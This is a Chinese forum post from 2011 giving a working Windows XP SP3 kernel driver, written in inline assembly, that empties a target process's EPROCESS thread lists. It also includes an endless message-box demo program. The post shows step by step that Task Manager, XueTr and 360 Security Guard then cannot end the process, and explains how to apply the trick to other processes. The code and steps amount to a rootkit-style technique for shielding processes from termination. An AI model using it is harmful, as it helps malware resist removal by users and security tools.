【提示】能加驱动进内核，就没必要弄EXE了，所以我个人觉得没啥实际用途，仅供观看
Windows会给每一个进程建立一个EPROCESS结构，给每一个线程建立ETHREAD结构，EPROCESS结构第一个成员是KPROCESS结构，ETHREAD结构第一个成员是KTHREAD结构。每个进程的线程的ETHREAD结构都会按下图所示链接起来：
里面有两条链表。通过遍历这两条链表，可以得到一个进程所有的线程。Windows在执行线程调度时，不会去管这两条链表。只有当新建一个线程时，会加入到链表中，一个线程退出时，会从链表中移除。
如果在EPROCESS中将这两条链表置空，会发生什么事呢？
以下是验证步骤：
【注意】请先关闭360安全卫士，以免加载驱动时提示。驱动代码中用了一堆的硬编码，所以请确保操作系统为Windows XP SP3 中文版，否则可能蓝屏。
1.编译以下代码为haha.exe
/*
* 【作者：KiDebug】
* 【空间：http://hi.baidu.com/KiDebug/】
*/
#include <Windows.h>
int APIENTRY wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nCmdShow)
{
while (1)
{
MessageBoxA(NULL,"关不了，气死你！~","哈哈！~",MB_OK);
}
return 0;
}
双击打开haha.exe，它会不断地调用MessageBox弹出对话框，此时任务管理器、XueTr、360进程管理器都可以结束haha.exe
2.确保haha.exe可以弹出对话框，然后再编译以下代码为ProtectHaha.sys，利用InstDrv.exe加载ProtectHaha.sys，依次点击安装、启动、停止、卸载
/*
* 【作者：KiDebug】
* 【空间：http://hi.baidu.com/KiDebug/】
*/
#include <ntddk.h>
void DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{
__asm
{
mov ebx,PsInitialSystemProcess
mov ebx,[ebx]
lea ebx,[ebx+88h] //+0x088 ActiveProcessLinks : _LIST_ENTRY
L1: mov ebx,[ebx] //遍历ActiveProcessLinks，找haha.exe的EPROCESS
cmp dword ptr [ebx+0ECh],61686168h
jnz L1
cmp dword ptr [ebx+0F0h],6578652eh //68 61 68 61 2e 65 78 65 haha.exe
jnz L1
//88h、50h、190h、194h都是硬编码，适用于Windows XP SP3
lea ebx,[ebx-88h] //EBX为haha.exe的EPROCESS
lea eax,[ebx+50h] //nt!_KPROCESS
mov [ebx+50h],eax //+0x050 ThreadListHead : _LIST_ENTRY
mov [ebx+54h],eax //置为空链
lea eax,[ebx+190h] //nt!_EPROCESS
mov [ebx+190h],eax //+0x190 ThreadListHead : _LIST_ENTRY
mov [ebx+194h],eax //置为空链
}
DriverObject->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}
3.打开任务管理器，选中haha.exe，点击“结束进程”，haha.exe无法结束，仍然可以不停地弹对话框；
4.打开XueTr，在“进程”窗口中选中haha.exe按右键，点击“结束进程”，haha.exe无法结束，仍然可以不停地弹对话框；刷新，再次右键，点击“强制结束进程”，haha.exe无法结束，仍然可以不停地弹对话框；
5.打开360安全卫士（8.0.0.2001），启动“功能大全”里面的“进程管理器”，选中haha.exe，点击“关闭程序”，haha.exe无法结束，仍然可以不停地弹对话框；
【注意】
1.有可能点击对话框右上角的关闭按钮后，haha.exe会假死。这时先随便点下桌面或其他什么地方，再点对话框的“确定”按钮，就又活过来了。
2.如果要应用到其他进程上，请确保驱动启动后这个进程不会新建线程，否则“强制结束进程”可以结束掉新建线程，可能会造成进程假死。
3.haha.exe中只有一个线程，对于其他进程，在EPROCESS中将两条链表置空后需要将链表中第一个线程和最后一个线程的ThreadListEntry链接起来。
4.对于其他进程，置空链表时需要考虑同步问题。
如何结束haha.exe呢？
在XueTr“进程”窗口中选中haha.exe按右键，点击“查看进程线程”，把看到的线程全部结束即可。
WS点可以把线程栈空间设小点，然后创建成百上千个线程…… |
[复制链接]
发表于 2011-5-29 16:05:32
楼主
